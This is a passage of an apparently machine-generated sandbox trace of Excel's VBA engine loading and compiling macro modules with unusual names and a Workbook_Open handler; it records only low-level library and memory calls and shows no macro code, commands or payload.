_DstSizeInBytes=0x5, _Src=0x6762b16 | out: _Dst=0x27ed60) returned 0x0 [0081.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b3e, cbMultiByte=6, lpWideCharStr=0x27ed20, cchWideChar=12 | out: lpWideCharStr="torro") returned 6 [0081.546] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0x6, _Src=0x6762b3e | out: _Dst=0x27ed60) returned 0x0 [0081.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b66, cbMultiByte=7, lpWideCharStr=0x27ed20, cchWideChar=14 | out: lpWideCharStr="DnullS") returned 7 [0081.546] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0x7, _Src=0x6762b66 | out: _Dst=0x27ed60) returned 0x0 [0081.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c06, cbMultiByte=8, lpWideCharStr=0x27ed20, cchWideChar=16 | out: lpWideCharStr="vicking") returned 8 [0081.546] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0x8, _Src=0x6762c06 | out: _Dst=0x27ed60) returned 0x0 [0081.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c2e, cbMultiByte=7, lpWideCharStr=0x27ed20, cchWideChar=14 | out: lpWideCharStr="serena") returned 7 [0081.546] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0x7, _Src=0x6762c2e | out: _Dst=0x27ed60) returned 0x0 [0081.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762bde, cbMultiByte=6, lpWideCharStr=0x27ed20, cchWideChar=12 | out: lpWideCharStr="omran") returned 6 [0081.546] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0x6, _Src=0x6762bde | out: _Dst=0x27ed60) returned 0x0 [0081.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c7e, cbMultiByte=14, lpWideCharStr=0x27ed20, cchWideChar=28 | out: lpWideCharStr="Workbook_Open") returned 14 [0081.547] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0xe, _Src=0x6762c7e | out: _Dst=0x27ed60) returned 0x0 [0081.547] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.547] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0xe, _Src=0x27ed69 | out: _Dst=0x27ed60) returned 0x0 [0081.547] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0xb719a00 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x7569a50 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x733cd80 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70b310 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb6851e0 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb30cb70 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x72b3320 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x72b38f0 [0081.547] IUnknown:AddRef (This=0xb1d1370) returned 0x3 [0081.547] IUnknown:QueryInterface (in: This=0xb1d1370, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ebe0 | out: ppvObject=0x27ebe0*=0x0) returned 0x80004002 [0081.547] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x27ebd8 | out: ppTComp=0x27ebd8*=0xb1d1380) returned 0x0 [0081.547] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x6fbbdc0 [0081.547] IUnknown:AddRef (This=0xb1d1380) returned 0x5 [0081.547] IUnknown:Release (This=0xb1d1380) returned 0x4 [0081.547] IUnknown:Release (This=0xb1d1370) returned 0x3 [0081.547] IUnknown:AddRef (This=0xb1d0560) returned 0xc [0081.547] IUnknown:QueryInterface (in: This=0xb1d0560, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ebe0 | out: ppvObject=0x27ebe0*=0x0) returned 0x80004002 [0081.548] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x27ebd8 | out: ppTComp=0x27ebd8*=0xb1d0570) returned 0x0 [0081.548] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x6fbbe80 [0081.548] IUnknown:AddRef (This=0xb1d0570) returned 0xe [0081.548] IUnknown:Release (This=0xb1d0570) returned 0xd [0081.548] IUnknown:Release (This=0xb1d0560) returned 0xc [0081.548] IUnknown:AddRef (This=0xb1d1910) returned 0x4 [0081.548] IUnknown:QueryInterface (in: This=0xb1d1910, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ebe0 | out: ppvObject=0x27ebe0*=0x0) returned 0x80004002 [0081.548] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x27ebd8 | out: ppTComp=0x27ebd8*=0xb1d1920) returned 0x0 [0081.548] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x6fbc140 [0081.548] IUnknown:AddRef (This=0xb1d1920) returned 0x6 [0081.548] IUnknown:Release (This=0xb1d1920) returned 0x5 [0081.548] IUnknown:Release (This=0xb1d1910) returned 0x4 [0081.548] IUnknown:AddRef (This=0x6fed880) returned 0x2 [0081.548] IUnknown:QueryInterface (in: This=0x6fed880, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ebe0 | out: ppvObject=0x27ebe0*=0x0) returned 0x80004002 [0081.548] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x27ebd8 | out: ppTComp=0x27ebd8*=0x6fed890) returned 0x0 [0081.548] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x6fc2bc0 [0081.548] IUnknown:AddRef (This=0x6fed890) returned 0x4 [0081.548] IUnknown:Release (This=0x6fed890) returned 0x3 [0081.548] IUnknown:Release (This=0x6fed880) returned 0x2 [0081.549] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x6fbbe00 [0081.549] IMalloc:Realloc (This=0x7feffc15380, pv=0xb719a00, cb=0x70) returned 0x6e6a840 [0081.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6761556, cbMultiByte=5, lpWideCharStr=0x27ea70, cchWideChar=6 | out: lpWideCharStr="Open") returned 5 [0081.549] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x7118840 [0081.549] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70b8b0 [0081.549] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb604ff0 [0081.549] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb604fd0 [0081.549] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb70b820 [0081.549] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb30cae0 [0081.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762c56, cbMultiByte=8, lpWideCharStr=0x27ed20, cchWideChar=16 | out: lpWideCharStr="tremors") returned 8 [0081.550] _mbscpy_s (in: _Dst=0x27ed60, _DstSizeInBytes=0x8, _Src=0x6762c56 | out: _Dst=0x27ed60) returned 0x0 [0081.550] CoCreateGuid (in: pguid=0x27ef20 | out: pguid=0x27ef20*(Data1=0x1794db70, Data2=0x30b3, Data3=0x4555, Data4=([0]=0x82, [1]=0x26, [2]=0x7d, [3]=0x61, [4]=0x3, [5]=0xec, [6]=0x23, [7]=0x43))) returned 0x0 [0081.550] CoCreateGuid (in: pguid=0x27ef20 | out: pguid=0x27ef20*(Data1=0x88a106d8, Data2=0x56b0, Data3=0x436c, Data4=([0]=0x88, [1]=0x1e, [2]=0x1f, [3]=0x20, [4]=0x4d, [5]=0x6a, [6]=0x77, [7]=0x70))) returned 0x0 [0081.550] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0xb6849e0 [0081.551] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb1b32a0 [0081.551] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0081.551] IUnknown:AddRef (This=0xb1d1370) returned 0x4 [0081.551] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27e588, pDummy=0x0 | out: ppTLibAttr=0x27e588, pDummy=0x0) returned 0x0 [0081.551] ITypeLib:RemoteGetDocumentation (in: This=0xb1d1370, index=-1, refPtrFlags=0x27e5a0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27e5c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27e5c0*=0x0) returned 0x0 [0081.551] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0e8a40 [0081.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x27e610, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\x1d\x0b", lpUsedDefaultChar=0x0) returned 66 [0081.551] strcpy_s (in: _Dst=0xb1dcfd0, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0081.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x27e720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0081.551] strcpy_s (in: _Dst=0xb1dd020, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0081.551] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0ec250 [0081.551] IUnknown:AddRef (This=0xb1d1370) returned 0x5 [0081.551] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0081.551] IUnknown:Release (This=0xb1d1370) returned 0x4 [0081.551] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 4 [0081.551] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0 [0081.551] IUnknown:AddRef (This=0xb1d0560) returned 0xe [0081.551] ITypeLib:RemoteGetLibAttr (in: This=0xb1d0560, ppTLibAttr=0x27e588, pDummy=0x0 | out: ppTLibAttr=0x27e588, pDummy=0x0) returned 0x0 [0081.551] ITypeLib:RemoteGetDocumentation (in: This=0xb1d0560, index=-1, refPtrFlags=0x27e5a0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0081.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x27e610, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 57 [0081.552] strcpy_s (in: _Dst=0xb1dd090, _DstSize=0x3a, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0081.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x27e720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0081.552] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x75e6ed0 [0081.552] strcpy_s (in: _Dst=0x75e6ef8, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0081.552] IUnknown:AddRef (This=0xb1d0560) returned 0xf [0081.552] ITypeLib:LocalReleaseTLibAttr (This=0xb1d0560) returned 0x0 [0081.552] IUnknown:Release (This=0xb1d0560) returned 0xe [0081.552] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0081.552] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0081.552] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0081.552] IUnknown:AddRef (This=0xb1d1910) returned 0x5 [0081.552] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1910, ppTLibAttr=0x27e588, pDummy=0x0 | out: ppTLibAttr=0x27e588, pDummy=0x0) returned 0x0 [0081.552] ITypeLib:RemoteGetDocumentation (in: This=0xb1d1910, index=-1, refPtrFlags=0x27e5a0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0081.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x27e610, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 31 [0081.553] strcpy_s (in: _Dst=0x75e6f68, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0081.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x27e720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0081.553] strcpy_s (in: _Dst=0x75e6f90, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0081.553] IUnknown:AddRef (This=0xb1d1910) returned 0x6 [0081.553] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1910) returned 0x0 [0081.553] IUnknown:Release (This=0xb1d1910) returned 0x5 [0081.553] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0081.554] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 2 [0081.554] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2 [0081.554] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0081.554] IUnknown:AddRef (This=0x6fed880) returned 0x3 [0081.554] ITypeLib:RemoteGetLibAttr (in: This=0x6fed880, ppTLibAttr=0x27e588, pDummy=0x0 | out: ppTLibAttr=0x27e588, pDummy=0x0) returned 0x0 [0081.554] ITypeLib:RemoteGetDocumentation (in: This=0x6fed880, index=-1, refPtrFlags=0x27e5a0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0081.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x27e610, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0081.554] strcpy_s (in: _Dst=0x75e7000, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0081.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x27e720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0081.555] strcpy_s (in: _Dst=0x75e7048, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0081.555] IUnknown:AddRef (This=0x6fed880) returned 0x4 [0081.555] ITypeLib:LocalReleaseTLibAttr (This=0x6fed880) returned 0x0 [0081.555] IUnknown:Release (This=0x6fed880) returned 0x3 [0081.555] IMalloc:Free (This=0x7feffc15380, pv=0xb684ac0) [0081.555] IMalloc:Alloc (This=0x7feffc15380, cb=0x118) returned 0xb3fac70 [0081.555] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x75e6c80 [0081.555] IMalloc:Alloc (This=0x7feffc15380, cb=0x930) returned 0xae85680 [0081.559] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb1b30c0 [0081.559] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07ac50 [0081.559] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07abf0 [0081.559] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07ab30 [0081.559] strcpy_s (in: _Dst=0x75e6cd8, _DstSize=0x9, _Src="Workbook" | out: _Dst="Workbook") returned 0x0 [0081.559] IMalloc:Alloc (This=0x7feffc15380, cb=0x218) returned 0x75f3190 [0081.559] ITypeLib:RemoteGetLibAttr (in: This=0xb1d0560, ppTLibAttr=0x27d6f8, pDummy=0x0 | out: ppTLibAttr=0x27d6f8, pDummy=0x0) returned 0x0 [0081.559] ITypeLib:RemoteGetDocumentation (in: This=0xb1d0560, index=-1, refPtrFlags=0x27d710, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6edd1a0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6edd1a0*="渰？߾") returned 0x0 [0081.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x27d780, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 57 [0081.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x27d890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0081.559] ITypeLib:LocalReleaseTLibAttr (This=0xb1d0560) returned 0x0 [0081.559] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0ec6a0 [0081.559] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x7245b30 [0081.560] IUnknown:Release (This=0xb1d0560) returned 0xf [0081.560] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0x5, _Src=0x6762b16 | out: _Dst=0x27d630) returned 0x0 [0081.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07aad0 [0081.560] strcpy_s (in: _Dst=0x75e70e8, _DstSize=0x5, _Src="tess" | out: _Dst="tess") returned 0x0 [0081.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.560] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.560] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.560] GetCurrentProcess () returned 0xffffffffffffffff [0081.560] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4d) returned 1 [0081.560] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.560] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0x6, _Src=0x6762b3e | out: _Dst=0x27d630) returned 0x0 [0081.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07aa70 [0081.560] strcpy_s (in: _Dst=0x75e6cf0, _DstSize=0x6, _Src="torro" | out: _Dst="torro") returned 0x0 [0081.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x72441c0 [0081.560] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.560] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.560] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.560] GetCurrentProcess () returned 0xffffffffffffffff [0081.560] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4d) returned 1 [0081.560] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.561] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0x7, _Src=0x6762b66 | out: _Dst=0x27d630) returned 0x0 [0081.561] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0xb7001d0 [0081.561] strcpy_s (in: _Dst=0x75e6d00, _DstSize=0x7, _Src="DnullS" | out: _Dst="DnullS") returned 0x0 [0081.561] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.561] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.561] GetCurrentProcess () returned 0xffffffffffffffff [0081.561] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x45) returned 1 [0081.561] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.561] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0x8, _Src=0x6762c06 | out: _Dst=0x27d630) returned 0x0 [0081.561] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07aa10 [0081.561] strcpy_s (in: _Dst=0x75e6d10, _DstSize=0x8, _Src="vicking" | out: _Dst="vicking") returned 0x0 [0081.561] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x7244410 [0081.561] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.561] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.561] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.561] GetCurrentProcess () returned 0xffffffffffffffff [0081.561] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4d) returned 1 [0081.561] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.561] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0x7, _Src=0x6762c2e | out: _Dst=0x27d630) returned 0x0 [0081.561] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07a9b0 [0081.561] strcpy_s (in: _Dst=0x75e6d20, _DstSize=0x7, _Src="serena" | out: _Dst="serena") returned 0x0 [0081.562] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.562] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.562] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.562] GetCurrentProcess () returned 0xffffffffffffffff [0081.562] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4d) returned 1 [0081.562] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.562] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0x6, _Src=0x6762bde | out: _Dst=0x27d630) returned 0x0 [0081.562] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07a950 [0081.562] strcpy_s (in: _Dst=0x75e6d30, _DstSize=0x6, _Src="omran" | out: _Dst="omran") returned 0x0 [0081.562] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x72451f0 [0081.562] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.562] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.562] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.562] GetCurrentProcess () returned 0xffffffffffffffff [0081.562] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4d) returned 1 [0081.562] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.562] _mbscpy_s (in: _Dst=0x27d630, _DstSizeInBytes=0xe, _Src=0x6762c7e | out: _Dst=0x27d630) returned 0x0 [0081.562] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0081.562] _mbscpy_s (in: _Dst=0x27d630, 